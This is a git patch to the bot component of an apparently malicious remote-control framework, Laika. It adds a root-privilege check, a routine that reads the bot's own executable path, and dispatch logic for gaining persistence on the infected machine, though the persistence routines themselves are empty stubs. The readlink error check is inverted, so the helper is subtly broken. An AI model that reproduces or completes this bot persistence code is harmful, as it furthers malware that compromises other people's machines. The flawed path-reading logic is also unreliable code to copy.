From 56fb305ef20b1af7da8ffbd3c860be25ea4ab72b Mon Sep 17 00:00:00 2001 From: CPunch Date: Wed, 6 Apr 2022 15:22:01 -0500 Subject: [PATCH] Implemented linpersist.c:laikaB_checkRoot(), fixed Shell config argument --- bot/lin/linpersist.c | 33 +++++++++++++++++++++++++++++++-- shell/src/main.c | 2 +- 2 files changed, 32 insertions(+), 3 deletions(-) diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 381594b..371a12a 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -7,6 +7,9 @@ #include "lsocket.h" #include "lerror.h" +#include +#include + static struct sLaika_socket laikaB_markerPort; /* check if laika is already running */ @@ -21,7 +24,7 @@ bool laikaB_checkPersist() { /* check if laika is running as super-user */ bool laikaB_checkRoot() { - return true; /* stubbed for now */ + return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */ } /* mark that laika is currently running */ @@ -44,9 +47,35 @@ void laikaB_unmarkRunning() { #endif } +void getCurrentExe(char *outPath, int pathSz) { + int sz; + + /* thanks linux :D */ + if ((sz = readlink("/proc/self/exe", outPath, pathSz - 1)) != 0) + LAIKA_ERROR("Failed to grab current process executable path!\n"); + + outPath[sz] = '\0'; +} + +void tryPersistUser(char *path) { + +} + +void tryPersistRoot(char *path) { + +} + /* try to gain persistance on machine */ void laikaB_tryPersist() { - /* stubbed */ + char exePath[PATH_MAX]; + + /* grab current process's executable & try to gain persistance */ + getCurrentExe(exePath, PATH_MAX); + if (laikaB_checkRoot()) { + tryPersistRoot(exePath); + } else { + tryPersistUser(exePath); + } } /* try to gain root */ diff --git a/shell/src/main.c b/shell/src/main.c index 43ef76c..4e06fe3 100644 --- a/shell/src/main.c +++ b/shell/src/main.c @@ -52,7 +52,7 @@ int main(int argv, char *argc[]) { shellC_init(&client); /* load config file */ - if (argv > 2) + if (argv >= 2) configFile = argc[1]; if (!loadConfig(&client, configFile))